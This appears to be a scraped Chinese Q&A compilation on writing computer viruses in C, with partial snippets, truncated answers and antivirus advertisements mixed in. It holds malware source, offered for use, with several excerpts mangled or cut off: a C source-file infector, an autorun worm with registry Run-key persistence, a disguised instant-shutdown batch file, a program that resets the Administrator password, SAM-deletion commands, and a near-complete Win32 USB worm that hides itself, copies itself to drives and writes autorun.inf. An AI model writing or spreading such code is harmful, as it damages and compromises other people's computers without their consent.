一個win32程序文件,所調用的API函數地址,是由系統填入到程序文件中描述各類數據位置的數據結構中的。而病毒作為一個殘廢是享受不到這個待遇的。因為你在把病毒的代碼插入目標程序時沒有把這些描述數據存放位置的數據結構信息也弄進去。它 *** 入到其他目標程序後就成了只有代碼的殘廢兒童:(所以作為一個殘廢兒童,應當自力更生。自己搜尋自己需要的API地址。目標程序文件就包含了我們需要的東西,我們需要自己去找。目標程序文件只要還是win32程序,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當然了,整個地址空間有4GB,可供搜索的用戶進程空間也有2GB。在2GB中搜索,太嚇人了。總不能在執行被感染的目標程序時,先讓用戶喝杯茶吧?或者斗鬥地主?這里有兩個技巧向大家介紹。
在程序被載入後,載入程序會調用程序的主線程的第一條指令的位置。它使用的指令是CALL,就是說,你程序還沒執行,堆棧區里就有了一個返回地址了,這個返回地址指向的是載入程序,而載入程序是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當然也不是一個位元組一個位元組的挨者找,而是一個頁面一個頁面地找。因為win3......>>
問題三:怎麼用C語言寫個簡單病毒,給個代碼過程 首先聲明:
本程序是我舉的一個例子
為了叫大家理解就可以了
如果大家拿去捉弄人,我不負任何責任!
希望大家要以學習為重!
對於病毒我們應該是深惡痛絕的,但是作為純研究許多人還是很有興趣的
我曾經用匯編做過一些具有毀滅性的病毒,本想獻出來與大家分享
不過考慮到一些小人看了會做出來一些危害別人的行為,所以我決定
用這個簡單的並毫無傷害性的c語言偽病毒來說明一下問題,
再次聲明這一切全是為了編程研究!!!
病毒的特點:
病毒的最大特點就是自我復制,從病毒的分類來說有很多種,這里我們將介紹最流行的附加式
病毒,它通過對正常的文件進行改寫,增加來實現其自我復制的目的。
從程序的角度來說,我們要做的事情有兩件:
1,讓程序能夠將自己在不影響其它程序本身工作的情況下復制給其它程序,
使它具備繼續復制的能力。
2,在一定條件下使其產生某種發作效果。
其實第一件事情實際上可以看成對文件進行復制,把病毒源文件的功能函數全部放到被感染
文件的最後,同時在被感染文件中調用這個函數
下面給出c語言的實現過程:
1,主程序調用病毒功能函數
2,病毒功能函數讀取查找同目錄下所有c文件;
3,找到一個(被感染c文件),打開它,並且將此文件全部讀取到數組變數;
4,重新創建一個同名文件(被感染c文件)
5,數組變數寫回這個被感染c文件,同時將病毒源文件所需要的頭文件,病毒功能函數
調用語句寫入;
6,打開病毒源文件,將病毒功能函數全部寫到被感染c文件的最後;
這樣一個簡單的c語言偽病毒virus.c就完成了
運行程序後其內容變化另保存為after_virus.c
此時,如果我們將1.c文件用A盤復制到其他機器或者Email給別人,結果
他們一運行又感染了他們保存1.c文件目錄下所有c文件
對於第二件事情-------「發作效果」,這里只用printf語句警告了一下,當然你
完全可以寫一個TSR駐留函數
其實,這個程序勉強可以叫做病毒
根本不算是真正的病毒,好了就說這么多,
代碼如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,&ffblk,0);
while (!done)
{
i=0;
if ((in = fope......>>
問題四:病毒一般用什麼語言編寫的? 由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有VB、E語言、pascal(注意Delphy不是一門語言,而是pascal語言的編輯器,就像C++跟VC++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
問題五:怎樣編寫簡單,對系統無害的病毒文件? 雙擊這個文件後就會關機,無毒無害。
這是代碼:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那個0是打開這個文件後多少秒關機(0就是立即關機,10就是打開文件10秒後關機), 引號中的字(Loading Installation,Please Wait...)可以隨意更改(只是引號裡面的,別把引號給刪了)。
問題六:怎樣編寫病毒 3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,......>>
問題七:怎麼用C語言編寫木馬.病毒等程序 嘿嘿給你個類病毒C程序源碼,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,rb))!=NULL) && ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......>>
問題八:怎麼編輯木馬病毒程序 很高興為您解答:
製作並且傳播木馬都是違法行為,況且在你製作的時候可能會有人利用這漏洞對你的電腦產生危害,到時候就得不償失拉
建議下其他騰訊電腦管家,開啟所有防護,避免有人利用病毒或是木馬來危害新的電腦以及帳號的全全
1、騰訊電腦管家獨有的二代反病毒引擎,防護查殺更徹底
2、騰訊電腦管家擁有全球最大的雲庫平台,能更好的識別詐騙、釣魚網站
3、騰訊電腦管家獨創鷹眼模式,時刻保護您的愛機不受侵害
4、騰訊電腦管家獨有的安全等級,您可以時刻查看你愛機的安全狀態
5、新增廣告過濾功能,有效減輕廣告騷擾。
祝樓主祝您工作、生活愉快!!
問題九:病毒的編寫是用的什麼原理? 在計算機領域中,它是一種基於遠程式控制制的黑客工具,具有隱蔽性和非授權性的特點。
所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具 *** 置,往往只能望「馬」興嘆。
所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作許可權,包括修改文件,修改注冊表,控制滑鼠,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。
從木馬的發展來看,基本上可以分為兩個階段。
最初網路還處於以UNIX平台為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網路和編程知識。
而後隨著WINDOWS平台的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。
所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無秘密可言。
二、木馬原理
[編輯本段]
鑒於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的了解。
【一、基礎知識 】
在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。
一個完整的木馬系統由硬體部分,軟體部分和具體連接部分組成。
(1)硬體部分:建立木馬連接所必須的硬體實體。 控制端:對服務端進行遠程式控制制的一方。 服務端:被控制端遠程式控制制的一方。 INTERNET:控制端對服務端進行遠程式控制制,數據傳輸的網路載體。
(2)軟體部分:實現遠程式控制制所必須的軟體程序。 控制端程序:控制端用以遠程式控制制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作許可權的程序。 木馬配置程序:設置木馬程序的埠號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。
(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網路地址,也是木馬進行數據傳輸的目的地。 控制端埠,木馬埠:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。
用木馬這種黑客工具進行網路入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。
一.配置木馬
一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:
(1)木馬偽裝:木馬配置程序為了在服務端盡可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製埠,自我銷毀等,我們將在「傳播木馬」這一節中詳細介紹。
(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在「信息反饋」這一節中詳細介紹。
【二、傳播木馬】.
(1)傳播方式:
木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟體下載,一些非正規的網站以提供軟體下載為名義, 將木馬捆綁在軟體安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。
(2)偽裝方......>>
問題十:有源代碼,怎樣編寫病毒程序? 您好:
建議您不要編寫或使用病毒程序,病毒程序會對您的電腦造成損害的,如果您曾使用過此類不安全的病毒程序的話,為了您電腦的安全,建議您使用騰訊電腦管家對您的電腦進行一下全面的殺毒吧,打開騰訊電腦管家中的殺毒功能選擇閃電查殺或者全盤查殺就可以,您可以點擊這里下載最新版的騰訊電腦管家:最新版騰訊電腦管家下載
騰訊電腦管家企業平台:./c/guanjia/
5. 計算機病毒介紹及防治
計算機病毒厲害的有哪些呢?要怎麼樣去防治?下面由我給你做出詳細的計算機病毒介紹及防範 方法 介紹!希望對你有幫助!
目前流行的計算機病毒概括成如下四類:
計算機病毒1 . 操作系統 病毒
這種病毒的特點是:當系統引導時就裝入內存,在計算機運行過程中,能夠經常捕獲到CPU的控制權,在得到CPU的控制權時進行病毒傳播,並在特定條件下發作。該類病毒的上述活動是悄悄完成的,很難被發覺,因而有很大的危險性。
計算機病毒2 .源碼型病毒
源碼型病毒專門攻擊高級語言如FORTRAN、C、PASCAL等源程序和數據文件的源碼。它們在編譯之前插入到源程序。
計算機病毒3 .外殼型病毒
這類病毒攻擊的主要目標是系統的.COM、.EXE等可執行文件。染上這種病毒的可執行文件一旦運行,首先執行這段病毒程序,達到不斷復制的目的。由於它的不斷繁殖,使計算機工作效率大大降低,最終造成 死機 。
計算機病毒4. 定時炸彈型病毒
許多微機上配有供系統時鍾用的擴充板,擴充板上有可充電電池和CMOS存儲器,定時炸彈型病毒可避開DOS的中斷調用,通過低層硬體訪問對CMOS存儲讀寫。因而這類程序利用這一地方作為傳染、觸發、破壞的標志,甚至乾脆將病毒程序的一部分寄生到這個地方,因這個地方有鋰電池為它提供保護,不會因關機或斷電而丟失,所以這類病毒十分危險。
近兩年,計算機病毒已經發展到多形性病毒、欺騙性病毒、輕微破壞型病毒以及病毒生成工具等。這些病毒更隱蔽、破壞性更強。例如,多形性病毒每次感染的形式都不一樣,使查找更加困難,清除更不容易;被欺騙性病毒感染的文件,在列目錄顯示或讀文件時,文件的大小和內容都正常,用戶無法知道已被感染;被輕微破壞型病毒感染的文件,每次備份只破壞很少數據,很難察覺。一旦發現,被破壞的數據已無
計算機病毒防治原理:
反病毒軟體的任務是實時監控和掃描磁碟。部分反病毒軟體通過在系統添加驅動程序的方式,進駐系統,並且隨操作系統啟動。大部分的殺毒軟體還具有防火牆功能。
反病毒軟體的實時監控方式因軟體而異。有的反病毒軟體,是通過在內存里劃分一部分空間,將電腦里流過內存的數據與反病毒軟體自身所帶的病毒庫(包含病毒定義)的特徵碼相比較,以判斷是否為病毒。另一些反病毒軟體則在所劃分到的內存空間裡面,虛擬執行系統或用戶提交的程序,根據其行為或結果作出判斷。
而掃描磁碟的方式,則和上面提到的實時監控的第一種工作方式一樣,只是在這里,反病毒軟體將會將磁碟上所有的文件(或者用戶自定義的掃描范圍內的文件)做一次檢查。
推薦殺軟:2009年世界頂級殺毒軟體排名
toptennews評出了2009年度世界頂級殺毒軟體排名,國外的排名僅供參考,它們不一定能完全適應中國的水土。我們來簡單看一下排名情況:
第一:BitDefender ,來自羅馬尼亞,連續三年第一。
第二:赫赫有名的Kaspersky(卡巴斯基)。
第三:Webroot Antivirus ,今年第一次上榜,反間諜能力比較強。
第四:G DATA AntiVirus,今年第一次上榜,特點為雙引擎殺毒。
第五:ESET NOD32,從去年的第三滑到了第五。
第六:ParetoLogic Anti-Virus PLUS,微軟的產品,第一次上榜。
第七:AVG Anti-Virus ,來自捷克,2005 年獲 Virus bulletin 的 VB100% 獎。
第八:Vipre Antivirus + Antispyware
第九:F-Secure Anti-Virus來自芬蘭,集合四套殺毒引擎,包括Kaspersky 的殺毒內核。
第十:Trend Micro AntiVirus,趨勢科技的產品。
6. 求一個簡單的c語言病毒源代碼,最好還可以在手機c4上編寫運行的,運行會出現什麼樣的情況,想學c想了解一
c寫的病毒一定要調用比較復雜的API才會有一定的破壞力,c4droid那麼簡單的工具應該難以實現。
7. 求C語言病毒源碼
一個小東西 介紹了後別笑話我 !它的功能很簡單,就是把Administrator的密碼該成xiao
大家整了人之後切記告訴他密碼(xiao)
自己可以用TC2.0編寫編譯調試生成
C語言下的代碼如下:
main()
{
system("net user administrator xiao");
}
如果自己真的不小心忘記了密碼 如果是XP系統 管理員密碼破解如下:
1.用個啟動盤啟動電腦後進入DOS 狀態下:輸入如下命令
del X:\windows\sysrem32\config\sam 回車
x:\windows\repair\sam x:\windows\system32\config 回車
2.重新啟動計算機。X為安裝XP的盤 一般為c:
8. c語言木馬源代碼
ls這個好像是感染c文件的病毒,自動加上玩笑代碼(當然可以是惡意的)
不是木馬
9. 用C語言編寫的病毒代碼
一個c病毒源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//計時器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒從U盤啟動時用到的函數
BOOL FileExist(TCHAR *path);//測試一個文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系統路徑
BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置
BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性
BOOL RegAutoRun(TCHAR *path);//修改注冊表,實現自啟動
//從C盤啟動時用到函數
BOOL CopyToUAndSet();//復制自己到U盤
BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件
BOOL FindSelf();//測試自己是否在已經執行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盤的盤符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盤盤符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盤
}
break;
case DBT_DEVICEREMOVECOMPLETE: //設備刪除
break;
}
return LRESULT();
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //處理一些要下面要用到的全局變數
U[1]=':';
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwnd,TIMER,5000,0);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系統盤啟動的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//檢測有沒有插入設備消息
else
{
CopyToSysAndSet(hwnd);//拷到系統盤並自啟動
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看該驅動器的狀態是否發生了變化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}
BOOL GetSelfPath(TCHAR *path)
{
if(GetMoleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄
{
return TRUE;
}
else
return FALSE;
}
BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系統路徑
}
BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到復制到系統目錄的完整目錄
if(!FileExist(szPath))//檢測系統目錄是否已經存在復制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//檢測自己有沒有運行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//沒有就執行
SendMessage(hwnd,WM_CLOSE,0,0);//結束自己
}
}
return FALSE;
}
BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注冊表實現自啟動
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盤的完整目錄
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}
BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隱藏窗口:ShowWindow(false); (#include <windows.h>)
將程序暫停一秒後繼續執行:sleep(1000); (同上)
刪除文件:system("del 文件的路徑");
運行文件:system("文件的路徑");
system函數(#include <iostream>)
復制文件:詳見remove函數(#include <process.h>)
-----------------------------------------------------------
一個不錯的病毒完整源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//計時器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);